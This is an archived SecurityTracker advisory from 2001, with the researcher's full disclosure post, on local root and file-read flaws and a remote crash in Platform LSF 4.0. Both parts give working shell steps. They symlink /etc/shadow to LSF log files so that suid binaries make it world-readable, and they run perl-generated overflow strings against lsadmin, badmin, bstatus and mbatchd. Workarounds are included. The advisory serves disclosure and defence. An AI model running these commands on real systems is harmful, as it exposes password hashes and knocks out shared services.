SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Platform LSF Vendors:   Platform Computing Inc.
Platform Computing's Platform LSF Load Sharing Application Contains Multiple Flaws, Disclosing Files to Local Users, Giving Local Users Root Access, and Crashing When Remote Users Send Malformed Packets
SecurityTracker Alert ID:  1002908
SecurityTracker URL:  http://securitytracker.com/id/1002908
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 5 2001
Impact:   Denial of service via network, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via local system, Modification of system information, Modification of user information, Root access via local system
Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 4.0
Description:   Several vulnerabilities have been reported in Platform Computing's Platform LSF load sharing facility software. These flaws include buffer overflows and unsafe use of temporary files.

A local user can read any file on the system in the default configuration due to the lack of file and symlink checking when writing to log files. A local user can create a symlink from a log file name in the /tmp directory. When LSF starts, LSF will append its log entries to the symlinked file and will change the permissions of the symlinked file to allow global read privileges.

An example symlink to allow all local users to read the /etc/shadow file is:

ln -s /etc/shadow /tmp/lim.log.hostname

Local users can also read any file on the system using another method. Because a user is given their own configuration file, the user can force some of LSF applications to do unexpected things. An example of how a symlink attack can be used in conjunction with configuration file modifications to allow a local user to read any file on the system (/etc/shadow in this example) is shown:

Change the LSF_ENVDIR so it will point to your home directory:
% setenv LSF_ENVDIR /my/home/dir

Copy LSF configuration file to your home directory:
% cp /etc/lsf.conf /my/home/dir/lsf.conf

Do the following changes in the /my/home/dir/lsf.conf:
LSB_CMD_LOGDIR=/tmp/test
LSF_LOGDIR=/tmp/test

Make a /tmp/test directory:
% mkdir /tmp/test

Do a sym-link from LSF log file to /etc/shadow:
% ln -s /etc/shadow /tmp/test/bqc.log.hostname
[ 'hostname' is your hostname ]

At this point, the user must force an LSF application that has set user id (suid) root privileges to write an entry to the log file bqc.log.hostname. 'bqc' is an appropriate application to do this and can be asked for information on a non-existent queue (dupa_zbita):

% bqc -i dupa_zbita

This will cause 'bqc' to write to its log file. Because of the user's own configuration file (/my/home/dir/lsf.conf) and the symlink, the log entry will be written to /etc/shadow and the permissions of /etc/shadow will be changed to world readable permissions.

It is reported that the 'lsadmin' and 'badmin' executables contain several exploitable buffer overflows that allow a local user to execute arbitrary code with root level privileges (as those executables have suid root permissions). The buffer overflow can be demonstrated with the following commands, which will cause a segmentation fault:

% setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
% lsadmin [or badmin]

It is reported that there are other buffer overflow vulnerability in other executables.

A remote user can reportedly exploit a buffer overflow in the 'mbatchd' daemon to cause it to crash by sending specially crafted packets to the daemon. A demonstration exploit transcript is provided:

% bstatus -d AAA -J `perl -e 'print "A" x 500'`
Job <0>: XDR encode/decode error
% bjobs
batch system daemon not responding ... still trying

% tail -2 sbatchd.log.hostanme
17:18:37 2001 87317 3 4.0.1 mbatchd died with signal <11>
termination
17:18:37 2001 87317 3 4.0.1 mbatchd core dumped

[Editor's note: The author indicates that it may be possible to execute arbitrary code via this method, but that possibility is not explored in the author's report.]

The vendor has reportedly been notified.

Impact:   A local user can read any file on the system and can execute arbitrary code on the system with root level privileges. A remote user can cause the mbatchd daemon to crash.
Solution:   It is unknown whether a fix is available for these flaws. The author of the report has provided several workarounds, which are described in the Source Message.

[Editor's note: We have contacted the vendor for information on any available fixes and we will update this alert when the vendor responds.]

Vendor URL:  www.platform.com/products/wm/LSF/index.asp (Links to External Site)
Cause:   Access control error, Boundary error, State error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Vendor Responds) Re: Platform Computing's Platform LSF Load Sharing Application Contains Multiple Flaws, Disclosing Files to Local Users, Giving Local Users Root Access, and Crashing When Remote Users Send Malformed Packets
The vendor has provided an initial response and is working on investigating all of the reported issues.
(Vendor Issues Patch) Re: Platform Computing's Platform LSF Load Sharing Application Contains Multiple Flaws, Disclosing Files to Local Users, Giving Local Users Root Access, and Crashing When Remote Users Send Malformed Packets
The vendor has issued a patch.



 Source Message Contents

Subject:  Many vulnerabilities in LSF 4.0



Hello.


Load Shareing Facility from Platform (http://www.platform.com) is a suite
of application resource management products that schedule, monitor and
analyze the workload for a network of computers.

In April 2001 I discovered some security bugs in it. I posted my exploits
with technical details to Platform. The answer arrived within 2 hours
after my first post. Carlos Varela from Platform confirmed that the bugs
really exist. Anyway I never received any informations about patches.

All these bugs are in version 4.0 of the LSF. 
I tested it only on SGI and Linux environments.

There is a new version for quite some time and I hope these bugs were
patched many months ago. Anyway, I can't test it on my own because I
didn't install the new version, so maybe someone can check it and tell us
if everything is ok. The main point of this post is to show to LSF users
what was patched in current version, because AFAIK these informations were
never made public. I hope they will ask Platform to make some security
audits.



Vulnerability #1:
        Problem with default log configuration being unsecure.
        Attacker being able to read any file on filesystem.
        Rather hard to exploit.

In default LSF configuration, all LSF logs are kept in the /tmp directory.
The problem is that programs which write to these log files are 
working with root priviledges. Moreover, they actually don't do 
*any* checkings about that log files.
So, attacker is able, by making an sym-link, to read any file on
filesystem.

Example:
ln -s /etc/shadow /tmp/lim.log.hostname

While starting LSF will append its logs to the /etc/shadow file 
and will change file permissions so everybody can read it.


Workaround:
Before the first LSF starts, administrator should change the default 
logfiles directory to something secure. One can do this by editing 
the LSF_LOGDIR variable in /etc/lsf.conf and point it to, let's
say, /tmp/lsf.log directory. Of course only root can have write 
access to the /tmp/lsf.log directory.


Vulnerability #2:
        The problem is correlated with fact that any user can have 
    their own config file.
        Attacker can read any file on filesystem.
        Very easy to exploit.

The fact that users can have own customized config files is 
very dangerous. Attacker can
force some of LSF applications to do unexpected things.
Below is a step-by-step instruction of how to read /etc/shadow file:

Change the LSF_ENVDIR so it will point to your home directory:
% setenv LSF_ENVDIR /my/home/dir

Copy LSF configuration file to your home directory:
% cp /etc/lsf.conf /my/home/dir/lsf.conf

Do the following changes in the /my/home/dir/lsf.conf:
        LSB_CMD_LOGDIR=/tmp/test
        LSF_LOGDIR=/tmp/test

Make a /tmp/test directory:
% mkdir /tmp/test

Do a sym-link from LSF log file to /etc/shadow:
% ln -s /etc/shadow /tmp/test/bqc.log.hostname
        [ 'hostname' is your hostname ]

Now you need to force one of the LSF applications to write 
something to bqc.log.hostname. Of course it needs to have suid=root bit
set.
So 'bqc' is our candidate that meets these requirements.
All we need to do now is to ask 'bqc' about information of nonexistent
queue:
% bqc -i dupa_zbita

'bqc' will find out that there is no such queue as "dupa_zbita" and it 
will happily send it to its log file.
It will use our own config file (/my/home/dir/lsf.conf) which points
it to /tmp/test.
There is our sym-link so 'bqc' will append its logs to 
the /etc/shadow file and will change file permissions so that
everybody can read it.
 

That was only an example. There are many other variables in lsf.conf 
which attacker can use to force LSF to do unexpected things. What 
I'm saying here is that allowing users to create their own config files 
is a bad idea and should be rethought.


Vulnerability #3:
        Flaws in "lsadmin" and "badmin" executables.
        Attacker being able to gain root priviledge.
        Very easy to exploit.

'lsadmin' and 'badmin' executables have suid=root bit set.
Moreover, there are several exploitable buffer overflows in these
executables.
One of them occurs when 'lsadmin' or 'badmin' is trying to determine its 
environment directory by checking LSF_ENVDIR variable.

I made a working exploit and e-mailed it to Carlos Varela from Platform,
but he asked me not to publish it. Anyway, it's easy to check if your 
system is vulnerable by doing the following:
% setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
% lsadmin  [or badmin]
Segmentation fault

As you can propably imagine, it's very easy to exploit.



Vulnerability #4:
        Occuring when using authentication scheme other than 'eauth'.
        Attacker being able to gain root priviledge.
        Very easy to exploit.

In case we are not willing to use 'eauth' as an authentication 
mechanism (read LSF manual so you can understand what I'm talking about)
all LSF executables are being installed with suid=root.
The problem is that there are plenty of buffer overflows in these
executables.
An example can be:
% bstatus `perl -e 'print "A" x 524'`
[maybe You need more that 524 - try it]

I made a working exploit and e-mailed it to Carlos Varela from 
Platforms... look above.

There are more buffer overflows in other executables, like 
'bsub' and so on...


Workarounds for vulnerabilities 2, 3, 4 [and probably many others]:

First of all you should use 'eauth' authentication scheme. You 
can do this by changing the LSF_AUTH=eauth variable in lsf.conf. 
In this situation only two executables ('lsadmin' and 'badmin')
have suid=root set.

: Caution: when you will look at the LSF executables directory you 
: may notice that there are many more suid=root executables. 
: In fact these executables - namely bqc, breboot, breconfig, lslockhost, 
: lsreconfig, lsunlockhost - are just hard-links to the 'lsadmin' 
: and 'badmin' executables.

Next step is to change 'lsadmin' and 'badmin' permissions to 
700 (it means only root can read them).

After performing these steps the functionality of LSF will remain 
unchanged (at least in my environments) and you will get rid of many
security bugs.
If you need to allow some users to use 'lsadmin' and 'badmin' 
(probably "lsfadmin" is a good idea) you should make
a group of trusted users and allow only them to have access to 
execute these executables (play with /etc/group file).


Vulnerability #5:
        Flaw in 'mbatchd' daemon.
        Remote buffer overflow.
        Rather easy to exploit.


There is remote buffer overflow in 'mbatchd' daemon. This daemon is
critical for LSF to operate. Attacker is able, by sending carefully
crafted packets, to DoS 'mbatchd' daemon. It will die with segmentation
fault. I don't really care if it is remote root in it, but as for me
DoS'ing my LSF server is devastating enought. While remote holes are very
dangerous I'm not going to give you step-by-step instruction of how to
make an exploit.

You can check if you are vulnerable by trying this:
% bstatus -d AAA -J `perl -e 'print "A" x 500'`
Job <0>: XDR encode/decode error
% bjobs
batch system daemon not responding ... still trying

% tail -2 sbatchd.log.hostanme
17:18:37 2001 87317 3 4.0.1 mbatchd died with signal <11>
termination
17:18:37 2001 87317 3 4.0.1 mbatchd core dumped


Anyway I made a reverse engineering on it (by sniffing transmission
between 'bstatus' and 'mbatchd') and wrote an exploit for this one. I
think most interesting things about that are:
- whole transmission is UDP protocol
- attacker doesn't need to receive any datagrams from 'mbatchd' to
  successfully exploit that vulnerability

Of course it is very difficult to stop this attack (sometimes it's
impossible) so no further technical info.



As You can see there are some nasty security bugs in LSF. My intension of
this post was to show LSF users that this software desperatelly need
security audit. The most important are all deamons and 'eauth'. This is a
closesource application so I can't be pretty sure if it is bug-free. Audit
should, at least, eliminate most obvious bugs.



Disclaimer: The information in this advisory is believed to be true based
on experiments though it may be false. The opinions expressed in this
advisory are my own and not of any company. The usual standard disclaimer
applies, especially the fact that I'm not liable for any damages caused by
direct or indirect use of the information provided by this advisory. I'm
takeing no responsibility for content or misuse of this advisory.


___
Tomasz Grabowski [Akademickie Centrum Informatyki] {CADENCE of Lam3rZ}
The progress only comes through struggle...



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC